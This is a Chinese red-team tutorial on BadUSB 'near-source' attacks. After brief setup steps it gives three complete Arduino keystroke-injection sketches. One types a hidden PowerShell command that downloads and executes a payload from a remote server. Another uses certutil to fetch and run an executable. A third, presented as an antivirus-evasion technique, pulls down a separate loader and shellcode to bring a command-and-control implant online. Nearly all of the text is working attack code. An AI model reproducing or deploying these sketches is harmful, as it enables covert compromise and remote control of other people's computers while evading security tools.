红队APT-钓鱼投递篇&近源攻击&BadUSB存储&C2上线&Arduino开发&代码植入&免杀方案
➢ 红队APT-近源攻击-BadUSB-上线C2
#BADUSB准备工作： 1、购买badusb，购买链接： https://detail.tmall.com/item.htm?id=606447967370 2、安装ArduinoIDE，等待加载等 https://www.arduino.cc/en/donate/ https://blog.csdn.net/ShuaibeiJia/article/details/135315829 3、设置中文及插入USB后选择开发板 #BADUSB上线C2教程： 1、Powershell无文件上线 #include<Keyboard.h> void setup() { Keyboard.begin(); delay(3000);//延时 Keyboard.press(KEY_LEFT_GUI); delay(200); Keyboard.print("r"); delay(200); Keyboard.release(KEY_LEFT_GUI); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.println("CMD /t:01 /k @ECHO OFF && MODE CON:cols=15 lines=1"); //使用最小化隐藏cmd窗口 delay(200); //=========================Run========================== Keyboard.println("cmd"); delay(500); Keyboard.println("powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.1.9:6666/XD'))"); delay(5000); //====================================================== Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//结束键盘通讯 } void loop() { } 2、Certutil下载上线 #include<Keyboard.h> void setup() { Keyboard.begin(); delay(3000);//延时 Keyboard.press(KEY_LEFT_GUI); delay(200); Keyboard.print("r"); delay(200); Keyboard.release(KEY_LEFT_GUI); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.println("CMD /t:01 /k @ECHO OFF && MODE CON:cols=15 lines=1"); //使用最小化隐藏cmd窗口 delay(200); //=========================Run========================== Keyboard.println("cmd"); delay(500); Keyboard.println("certutil -urlcache -split -f http://192.168.1.4:85/1.exe c:\\temp\\1.EXE"); Keyboard.println("cd c:\\temp\\"); Keyboard.println("1.exe"); delay(500); Keyboard.println("exit"); //====================================================== Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//结束键盘通讯 } void loop() { } 3、免杀思路： 思路：针对命令绕过配合分离免杀 #include<Keyboard.h> void setup() { Keyboard.begin(); delay(3000);//延时 Keyboard.press(KEY_LEFT_GUI); delay(200); Keyboard.print("r"); delay(200); Keyboard.release(KEY_LEFT_GUI); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.println("CMD /t:01 /k @ECHO OFF && MODE CON:cols=15 lines=1"); //使用最小化隐藏cmd窗口 delay(200); //=========================Run========================== Keyboard.println("cmd"); delay(500); Keyboard.println("certutil -urlcache -split -f http://192.168.1.4:85/cs.exe c:\\temp\\CS.EXE"); Keyboard.println("certutil -urlcache -split -f http://192.168.1.4:85/cs.bin c:\\temp\\CS.BIN"); Keyboard.println("cd c:\\temp\\"); Keyboard.println("cs.exe"); delay(5000); //====================================================== Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//结束键盘通讯 } void loop() { }
